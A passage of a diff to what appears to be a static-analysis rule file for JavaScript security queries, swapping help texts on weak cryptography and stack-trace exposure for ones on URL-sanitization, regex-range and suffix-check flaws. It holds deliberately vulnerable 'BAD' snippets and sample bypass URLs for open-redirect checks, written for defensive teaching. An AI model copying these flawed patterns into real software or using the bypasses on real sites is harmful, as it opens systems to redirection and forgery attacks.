'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n"
+            "text" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-327" ],
-            "description" : "Some mathematical operations on random numbers can cause bias in\n              the results and compromise security.",
-            "id" : "js/biased-cryptographic-random",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
+            "description" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing.",
+            "id" : "js/incomplete-url-substring-sanitization",
             "kind" : "problem",
-            "name" : "Creating biased random numbers from a cryptographically secure source",
+            "name" : "Incomplete URL substring sanitization",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/weak-cryptographic-algorithm",
-          "name" : "js/weak-cryptographic-algorithm",
+          "id" : "js/overly-large-range",
+          "name" : "js/overly-large-range",
           "shortDescription" : {
-            "text" : "Use of a broken or weak cryptographic algorithm"
+            "text" : "Overly permissive regular expression range"
           },
           "fullDescription" : {
-            "text" : "Using broken or weak cryptographic algorithms can compromise security."
+            "text" : "Overly permissive regular expression ranges match a wider range of characters than intended. This may allow an attacker to bypass a filter or sanitizer."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n",
-            "markdown" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n"
+            "text" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-327", "external/cwe/cwe-328" ],
-            "description" : "Using broken or weak cryptographic algorithms can compromise security.",
-            "id" : "js/weak-cryptographic-algorithm",
-            "kind" : "path-problem",
-            "name" : "Use of a broken or weak cryptographic algorithm",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
+            "description" : "Overly permissive regular expression ranges match a wider range of characters than intended.\n              This may allow an attacker to bypass a filter or sanitizer.",
+            "id" : "js/overly-large-range",
+            "kind" : "problem",
+            "name" : "Overly permissive regular expression range",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "5.0"
           }
         }, {
-          "id" : "js/stack-trace-exposure",
-          "name" : "js/stack-trace-exposure",
+          "id" : "js/incomplete-hostname-regexp",
+          "name" : "js/incomplete-hostname-regexp",
           "shortDescription" : {
-            "text" : "Information exposure through a stack trace"
+            "text" : "Incomplete regular expression for hostnames"
           },
           "fullDescription" : {
-            "text" : "Propagating stack trace information to an external user can unintentionally reveal implementation details that are useful to an attacker for developing a subsequent exploit."
+            "text" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n",
-            "markdown" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n"
+            "text" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-209", "external/cwe/cwe-497" ],
-            "description" : "Propagating stack trace information to an external user can\n              unintentionally reveal implementation details that are useful\n              to an attacker for developing a subsequent exploit.",
-            "id" : "js/stack-trace-exposure",
-            "kind" : "path-problem",
-            "name" : "Information exposure through a stack trace",
-            "precision" : "very-high",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
+            "description" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected.",
+            "id" : "js/incomplete-hostname-regexp",
+            "kind" : "problem",
+            "name" : "Incomplete regular expression for hostnames",
+            "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "5.4"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/missing-rate-limiting",
-          "name" : "js/missing-rate-limiting",
+          "id" : "js/incorrect-suffix-check",
+          "name" : "js/incorrect-suffix-check",
           "shortDescription" : {
-            "text" : "Missing rate limiting"
+            "text" : "Incorrect suffix check"
           },
           "fullDescription" : {
-            "text" : "An HTTP request handler that performs expensive operations without restricting the rate at which operations can be carried out is vulnerable to denial-of-service attacks."
+            "text" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-770", "external/cwe/cwe-307", "external/cwe/cwe-400" ],
